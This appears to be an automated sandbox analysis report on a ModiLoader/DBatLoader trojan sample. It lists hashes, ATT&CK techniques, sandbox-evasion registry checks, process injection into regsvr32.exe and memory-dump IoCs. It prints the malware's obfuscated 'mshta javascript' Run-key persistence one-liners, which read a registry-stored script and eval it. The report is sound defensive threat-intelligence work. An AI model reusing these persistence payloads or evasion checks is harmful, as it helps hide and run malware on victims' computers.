modiloader | 5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a

General

Target

5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe
Size

535KB
MD5

3c32a06b2d7e62464858207f96b16fac
SHA1

cc2ab6053b591b9034fc0af13acce0a8a7df5b64
SHA256

5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a
SHA512

bfd69ec8efb849da193901a9783b6c83fa53a135deb63e1f0d7d93ba82bf83cf106d0728e71650f62eb0dcf4f0cf82d59ccd3e4aa885d39cea9b2787efce644f

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 11 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4204-131-0x0000000000400000-0x000000000048B000-memory.dmp	modiloader_stage2
behavioral2/memory/4204-132-0x0000000002F20000-0x0000000002FEC000-memory.dmp	modiloader_stage2
behavioral2/memory/4204-135-0x0000000002F20000-0x0000000002FEC000-memory.dmp	modiloader_stage2
behavioral2/memory/4692-137-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4692-139-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4540-141-0x00000000006F0000-0x00000000007BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3580-144-0x0000000001270000-0x000000000133C000-memory.dmp	modiloader_stage2
behavioral2/memory/1668-147-0x0000000000420000-0x00000000004EC000-memory.dmp	modiloader_stage2
behavioral2/memory/1668-148-0x0000000000420000-0x00000000004EC000-memory.dmp	modiloader_stage2
behavioral2/memory/4540-149-0x00000000006F0000-0x00000000007BC000-memory.dmp	modiloader_stage2
behavioral2/memory/3580-150-0x0000000001270000-0x000000000133C000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:OH1gNfLP=\"b\";tS7=new%20ActiveXObject(\"WScript.Shell\");d9MIrDb=\"l\";XFbF9=tS7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c048e1b63e\\\\552fd459\");cdJ1W4EU=\"X\";eval(XFbF9);XTrUaIR7m=\"KyUHr\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Oub4OnE=\"mWdoOq5q3q\";S6F=new%20ActiveXObject(\"WScript.Shell\");CTOb7HTmi=\"1v6j\";xCp2K=S6F.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c048e1b63e\\\\552fd459\");Dt0qXS0E=\"p78SIah\";eval(xCp2K);Btsb6Izr=\"XZwSh\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:qLk3siO5Y=\"U3faePbuEN\";fl38=new%20ActiveXObject(\"WScript.Shell\");EQqwk03jfV=\"XHx4YJsW\";RMI2x5=fl38.RegRead(\"HKCU\\\\software\\\\c048e1b63e\\\\552fd459\");emBb0dje=\"rSXueUA\";eval(RMI2x5);giACN10mt=\"87PtGnu\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exeregsvr32.exeregsvr32.exe

pid	process
4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe
4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe
4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe
4692	regsvr32.exe
4692	regsvr32.exe
4692	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe
4540	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 4204 wrote to memory of 4692	4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe	regsvr32.exe
PID 4204 wrote to memory of 4692	4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe	regsvr32.exe
PID 4204 wrote to memory of 4692	4204	5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe	regsvr32.exe
PID 4692 wrote to memory of 4540	4692	regsvr32.exe	regsvr32.exe
PID 4692 wrote to memory of 4540	4692	regsvr32.exe	regsvr32.exe
PID 4692 wrote to memory of 4540	4692	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 3580	4540	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 3580	4540	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 3580	4540	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 1668	4540	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 1668	4540	regsvr32.exe	regsvr32.exe
PID 4540 wrote to memory of 1668	4540	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe
"C:\Users\Admin\AppData\Local\Temp\5c0bbadb83ab868f075ea81609918255842f7933582232afb321b0489ca08d0a.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4204

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4692

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4540

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:3580

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1668

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

2

T1497

System Information Discovery

2

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1668-148-0x0000000000420000-0x00000000004EC000-memory.dmp

Filesize
816KB

Download
memory/1668-147-0x0000000000420000-0x00000000004EC000-memory.dmp

Filesize
816KB

Download
memory/1668-146-0x0000000000BB0000-0x0000000000BB9000-memory.dmp

Filesize
36KB

Download
memory/1668-145-0x0000000000000000-mapping.dmp

Download
memory/3580-142-0x0000000000000000-mapping.dmp

Download
memory/3580-150-0x0000000001270000-0x000000000133C000-memory.dmp

Filesize
816KB

Download
memory/3580-144-0x0000000001270000-0x000000000133C000-memory.dmp

Filesize
816KB

Download
memory/3580-143-0x0000000000BB0000-0x0000000000BB9000-memory.dmp

Filesize
36KB

Download
memory/4204-135-0x0000000002F20000-0x0000000002FEC000-memory.dmp

Filesize
816KB

Download
memory/4204-130-0x00000000027B0000-0x00000000027D1000-memory.dmp

Filesize
132KB

Download
memory/4204-134-0x00000000027B0000-0x00000000027D1000-memory.dmp

Filesize
132KB

Download
memory/4204-132-0x0000000002F20000-0x0000000002FEC000-memory.dmp

Filesize
816KB

Download
memory/4204-131-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/4540-140-0x0000000000BB0000-0x0000000000BB9000-memory.dmp

Filesize
36KB

Download
memory/4540-141-0x00000000006F0000-0x00000000007BC000-memory.dmp

Filesize
816KB

Download
memory/4540-138-0x0000000000000000-mapping.dmp

Download
memory/4540-149-0x00000000006F0000-0x00000000007BC000-memory.dmp

Filesize
816KB

Download
memory/4692-139-0x0000000000600000-0x00000000006CC000-memory.dmp

Filesize
816KB

Download
memory/4692-137-0x0000000000600000-0x00000000006CC000-memory.dmp

Filesize
816KB

Download
memory/4692-136-0x0000000000BB0000-0x0000000000BB9000-memory.dmp

Filesize
36KB

Download
memory/4692-133-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads